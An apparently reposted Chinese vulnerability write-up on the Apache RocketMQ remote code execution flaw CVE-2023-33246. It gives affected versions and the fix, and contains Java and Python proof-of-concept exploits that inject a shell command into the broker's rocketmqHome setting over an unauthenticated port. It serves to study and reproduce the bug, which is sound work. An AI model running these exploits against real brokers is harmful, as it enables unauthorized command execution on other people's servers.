Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)

2023-11-19

漏洞简介

RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。 此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

安全版本

Apache RocketMQ 5.1.1

Apache RocketMQ 4.9.6

漏洞复现

在本地创建 maven 项目 并添加依赖

<dependencies>   
 <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
        <dependency>
            <groupId>org.apache.rocketmq</groupId>
            <artifactId>rocketmq-tools</artifactId>
            <version>5.1.0</version>
        </dependency>
</dependencies>

编写漏洞利用代码

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.Properties;

public class poc1 {
    public static void main(String[] args) throws Exception {
        // 创建 Properties 对象
        Properties props = new Properties();
        //修改rocketmqHome配置
        props.setProperty("rocketmqHome","-c gnome-calculator test");
        props.setProperty("filterServerNums","1");
        // 创建 DefaultMQAdminExt 对象并启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        //此处为 namesrv 端口,此端口无需可访问
        admin.setNamesrvAddr("192.168.222.130:9876");
        admin.start();
        // 更新配置⽂件
        //此处为 broker 端口,必须可访问
        admin.updateBrokerConfig("192.168.222.130:10911", props);
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
    }
}

漏洞分析

image

image

image

image

我们看到真正有危险的操作应该是与 10911 进行通信的操作,没有进行身份验证和加密传输,同时带入了命令执行的参数

org/apache/rocketmq/remoting/protocol/RequestCode.java​ code 代表调用不同的功能

imageorg/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest

image​​org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig

image​​org/apache/rocketmq/remoting/Configuration.java#update

image

如果属性名是其内置的,就进行更新操作

‍帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

后面的一部分就比较清晰了

org/apache/rocketmq/broker/BrokerStartup.java#start

image​​org/apache/rocketmq/broker/BrokerController.java#start

image​​org/apache/rocketmq/broker/BrokerController.java#startBasicService

image​​org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AhERzAau-1690883548357)(https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202308011624734.png)]根据从 Wireshark 中抓取的数据包 我们也可以构造这样的 payload 触发漏洞

import socket
import binascii
client = socket.socket()

# you ip
client.connect(('192.168.222.130',10911))

# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

漏洞修复

移除了命令执行的模块​

image

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246) 的相关文章

  • node.js 与 Apache PHP 一起运行?

    我正在尝试了解 Node js 我对我的 LAMP 设置非常满意 因为它目前满足我的要求 虽然我想在我的 PHP 应用程序中添加一些实时功能 例如显示当前登录我的网站的所有用户以及可能的聊天功能 我不想更换我的 PHP 后端 但我确实想要可
  • SLES Apache Solr start.jar,无法访问 jarfile

    我在启动 Apache Solr 搜索时遇到一些问题 在我的 SLES 11 64 位服务器上安装 java 7 后 我将 solr 3 6 1 解压到 srv apache solr 3 6 0 之后我想启动该软件 但是当我尝试时 jav
  • 在 Bitnami LAMP 堆栈中设置和访问 PHP-FPM 状态页面

    我想查看 Bitnami LAMP 堆栈系统上的 PHP FPM 状态页面 但是 当我尝试时 我得到一个空白页 或者一条错误消息 Request exceeded the limit of 10 internal redirects due
  • 无法隐藏 htaccess 文件

    我很难隐藏我的 htaccess 文件 我仔细检查以确保 httpd conf 中存在以下内容
  • 如何配置 apache 查看隐藏(`.`)文件?

    如何在 apache 中显示目录列表 隐藏文件 我都尝试过
  • 在使用 Java 8 重新协商 TLS_1.2 期间,服务器证书更改受到限制

    我对 SSL 还很陌生 并且遇到了一些看似已知的问题 我的应用程序是 SSL 客户端 并调用另一个启用双向 SSL 的组件 两个组件中的证书都是正确的 并且连接有时工作正常 每个服务器都有自己的服务器证书和私钥 但根证书和中间证书相同 服务
  • Apache服务器安装失败(端口80或443已在使用)

    我有一个与 PHP 相关的问题 我是 net 开发人员 我通常使用 asp net 和 c 我在笔记本电脑上安装了 Visual Studio 和 SQL Server 现在我尝试在我的系统上安装 Xampp 服务器 这里我遇到了一些问题
  • Apache 错误:地址已在使用中:make_sock:无法绑定到地址 [::]:443

    Apache 启动时出错 Address already in use make sock could not bind to address 443 Executing start method lib svc method http a
  • Apache httpd:根据其他*响应*标头有条件地设置响应标头

    有没有办法有条件地设置新的响应标头 其中条件使用另一个response标题 具体来说 仅当响应具有特定的 Content Type 时才应设置新的响应标头 我调查过模组头 http httpd apache org docs 2 2 mod
  • CentOs Php 和 MySql 配置

    我已经安装了 php 并运行了一段时间 但我开始从事一个连接到数据库 即 mysql 的项目 所以我安装了 mysql 5 1 73 现在当我使用它连接到数据库时线 dbhandle mysql connect hostname usern
  • PHP/Apache 中的输出缓冲块如何工作?

    假设我将随机数据从 PHP 回显到浏览器 随机数据总量约为 XGb 回显以 YKb 块的形式完成 不使用 ob start PHP 和 Apache 缓冲区已满后 echo 调用是否会阻塞 客户端无法以与生成数据相同的速度使用数据 如果是
  • 如何配置 apache 服务器与 HTTPS 后端服务器通信?

    我将 apache 服务器配置为反向代理 如果我将后端服务器指定为 HTTP 则它可以正常工作 那是 我将虚拟主机 443 配置为 ProxyPass primary store http localhost 9763 store Prox
  • NGINX 与 Tomcat 配置

    我是 Nginx 新手 我需要你的帮助 根据很多论坛我了解到我们所有的静态页面都存储在Nginx中 当有请求到来时 我必须将该请求传递给 tomcat 获取数据 并在 tomcat 生成响应后生成响应 目前 我刚刚做到了 我将请求直接传递给
  • Apache:配置应用程序侦听器时出错

    当我尝试运行该应用程序时 我遇到了这个问题 警告 SetContextPropertiesRule Context 设置属性 源 到 org eclipse jst j2ee server CongressApp 没有找到匹配的 财产 20
  • 如何调试没有错误消息的错误?

    如何调试没有错误消息的错误 当加载 PHP 页面时 我在 Firefox 中收到此错误 The connection to the server was reset while the page was loading 除了看起来是 Apa
  • 在同一台服务器上运行两个 PHP 版本

    我在本地服务器上有两个项目 一个项目运行PHP5 6 另一个项目运行PHP7 0 现在可以根据项目启用这两个版本吗 我已经尝试添加AddHandler application x httpd php7 php在 htaccess 项目之一中
  • git-http-backend 与 AuthzUnixGroup 无法正常工作

    我正在尝试在 CentOS 6 机器上的 Apache 2 2 上设置一个 git 存储库 并安装了 git 我尝试过许多不同的方向 但我却不知所措 我目前的情况包括能够clone正常 但完全无法推动 似乎我无法使身份验证位正常工作 因为我
  • 在 XAMPP 上设置虚拟主机

    我已经在 Ubuntu 上的 opt lampp 目录中安装了 XAMPP 并且想要设置一些虚拟主机 Apache 虚拟主机教程说明放置
  • 将子域重定向到 CakePHP 操作

    背景 我有一个 CakePHP 应用程序 位于 m 我想写一个根级别的 htaccess文件 它将重定向网站的 子域 作为操作的参数 例如 我想编写一个重写规则 这将导致像这样的重定向 http mysite myserver com ht
  • PHP:如何访问根目录之外的下载文件夹? [复制]

    这个问题在这里已经有答案了 我如何创建一个 PHP 脚本 页面 允许会员 买家下载存储在根目录之外的下载文件夹中的压缩文件 产品 我正在使用 Apache 服务器 请帮忙 谢谢 保罗 G 您可能会在 soac 提供的链接中找到一些更好的信息

随机推荐

  • c++面向过程和面向对象

    include
  • mysql 插入行 无论是否已存在

    当需要插入新的一行 但是行内容中的标识unique字段可能已经存在 使用replace into方式插入 当插入内容的unique字段在已有数据中不存在则正常插入 当插入内容的unique字段在已有数据中存在 则更新该字段内容为新输入的内容
  • java resource注解_关于 java中的 @Resource注解和@Autowired注解

    Resource 建议用 类全称 javax annotation Resource 默认注入方式 byName 反射机制 指定注入方式 a 如果使用name属性 则使用byName自动注入策略 gt Resource name good
  • linux 动态库so相关操作

    1 查看库版本号 一般在文件名上有版本号 若文件名上没有版本号 使用如下命令查看 readelf d libstdc so 2 查看库内函数 a nm d libstdc so grep 内容 b objdump tT libstdc so
  • kafka问题解决:org.apache.kafka.common.errors.TimeoutException

    记录使用kafka遇到的问题 1 Caused by java nio channels UnresolvedAddressException null 2 org apache kafka common errors TimeoutExc
  • 基于chatGLM-6B模型微调详细教程(linux版)(ptuning & lora)

    目录 准备工作 安装7z ptuning预训练 ChatGLM 6B Ptuning 7z 懒人包下载 上传文件并解压缩 拉取依赖 进行训练 启动服务 注意事项 揽睿星舟云算力平台 lora预训练 chatGLM All In One 7z
  • sqli-labs Less-8

    Less 8 Get Blind Boolian Based Single Quotes 1 原页面 2 id 1 3 id 1 4 尝试布尔盲注 代码存在sql注入漏洞 然而页面既不会回显数据 也不会回显错误信息 我们可以通过构造语句 来
  • Qt入门学习之常用界面设计组件(五)

    1 QComboBox QPlainTextEdit简介 QComboBox是下拉列表框组件类 它提供了一个下拉表供用户选择 也可以直接当作一个QLineEdit用作输入 QComboBox除了显示可见下拉列表外 每一个项 item 或称列
  • python爬虫与数据可视化报告_Python爬虫以及数据可视化分析!

    原标题 Python爬虫以及数据可视化分析 简单几步 通过Python对B站番剧排行数据进行爬取 并进行可视化分析 源码文件可以参考Github上传的项目 https github com Lemon Sheep Py tree maste
  • 六、SpringBoot——SpringMVC自动配置&扩展配置(web定制)

    1 SpringMVC自动配置 org springframework boot autoconfigure web web的所有web自动场景 以SpringMVC为例 Spring Boot 自动配置好了SpringMVC 以下是Spr
  • vue jest单元测试

    一 渲染 mount 和 shallowMount 1 1 mount 和 shallowMount vue test utils 提供了两种方式用于渲染 或者说 加载 mount 一个组件 mount 和 shallowMount 一个组
  • SQLite存取二进制数据

    程序功能 使用SQLite的C API操作SQLite数据库 存取二进制数据 用来测试的文件都小于65535字节 没有测试更大的文件 参考文档 http www cntxk com CataNews 56 info8106 html 编译环
  • C语言操作符的那些事(详细全)

    前言 C语言中操作符不多 但是有些相同的操作符都是在不同的表达式中 有不同的解释意思 比如 号 在表达式中5 5表示乘号 在int p表示指针 在 p 10中 又表示解引用 所以今天就来详细的整理一下C语言中的操作符 做到心中有数 可以一眼
  • 惊天大神坑 关于 python-socketio 与 socket.io-client 版本兼容问题

    在使用fastapi进行开发中 使用python socketio作为socketi库 前端项目使用vue开发 配合socket io client作为client端 我的python socketio版本号为4 6 0 前端socket
  • Java代码常用功能实现总结

    目录 1 获取当前系统时间 2 获取当前时间戳 3 获取主机名和IP 4 new String用法 5 ByteBuffer和String的互相转换 6 int和string相互转换 7 把多个json放到list中 8 List集合去除重
  • MarkdownPad2 下一些设置

    MarkdownPad2注册码 邮箱 Soar360 live com 授权秘钥 GBPduHjWfJU1mZqcPM3BikjYKF6xKhlKIys3i1MU2eJHqWGImDHzWdD6xhMNLGVpbP2 M5SN6bnxn2k
  • hive之生成唯一id

    1 针对没有变话的一张表生成id 表中数据固定不会增加修改 ROW NUMBER over 针对所有数据生成自增id 即使所有数据都相同 2 针对没有变化的表 根据字段生成自增id 注意cc11 和cc12我故意没按顺序摆放 这样做的好处是
  • tkinter+socket实现基本的实时收发消息

    tkinter sockte实现基本的实时收发 tkinter tkinter是比较简单的GUI界面设计块 有许多控件基本能实现很多简单的功能 比如很多应用软件安装时的GUI都可以实现 在这个的功能里只用到模块的按钮 Button 输入框
  • 当我们谈人工智能 我们在谈论什么

    我们对一个事物的认识模糊往往是因为宣传过剩冲淡了理论的真实 我们陷在狂欢里 暂时忘记为什么要狂欢 如何踏上这趟飞速发展的列车成为越来越多人心心念念的事情 人工智能的浪潮更像是新闻舆论炒起来的话题 城外的人想进去 城内的人也不想出来 当我们谈
  • Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)

    漏洞简介 RocketMQ 5 1 0及以下版本 在一定条件下 存在远程命令执行风险 RocketMQ的NameServer Broker Controller等多个组件外网泄露 缺乏权限验证 攻击者可以利用该漏洞利用更新配置功能以Rock